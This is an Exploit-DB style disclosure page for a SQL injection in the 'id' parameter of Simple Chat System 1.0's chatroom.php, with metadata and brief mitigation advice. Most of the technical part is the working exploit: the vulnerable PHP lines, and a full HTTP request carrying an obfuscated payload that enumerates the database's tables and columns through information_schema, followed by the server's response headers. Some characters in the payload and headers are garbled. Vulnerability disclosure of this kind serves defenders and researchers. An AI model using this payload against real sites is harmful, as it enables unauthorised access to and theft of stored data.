Simple Chat System 1.0 - 'id' SQL Injection

vendor:

Simple Chat System

by:

Ihsan Sencan

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Simple Chat System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:simple_chat_system:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Simple Chat System 1.0 – ‘id’ SQL Injection

A SQL injection vulnerability exists in Simple Chat System 1.0, which allows an attacker to execute arbitrary SQL commands via the 'id' parameter in a 'chatroom.php' script. An attacker can send a malicious HTTP request to the vulnerable script and execute arbitrary SQL commands in the back-end database, allowing them to access or modify sensitive data.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered for malicious content. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Simple Chat System 1.0 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-24
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/11610/simple-chat-system.html
# Software Link: https://sourceforge.net/projects/simple-chat-system/files/latest/download
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/user/chatroom.php?id=[SQL]
# 
# [PATH]/user/chatroom.php
# 03 <?php
# 04 	$id=$_REQUEST['id'];
# 05 	
# 06 	$chatq=mysqli_query($conn,"select * from chatroom where chatroomid='$id'");
# 07 	$chatrow=mysqli_fetch_array($chatq); 	
 
GET /[PATH]/user/chatroom.php?id=-3%27雷�穑ɏ볯纵듧纹럫庞%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml왩,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 20:44:14 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8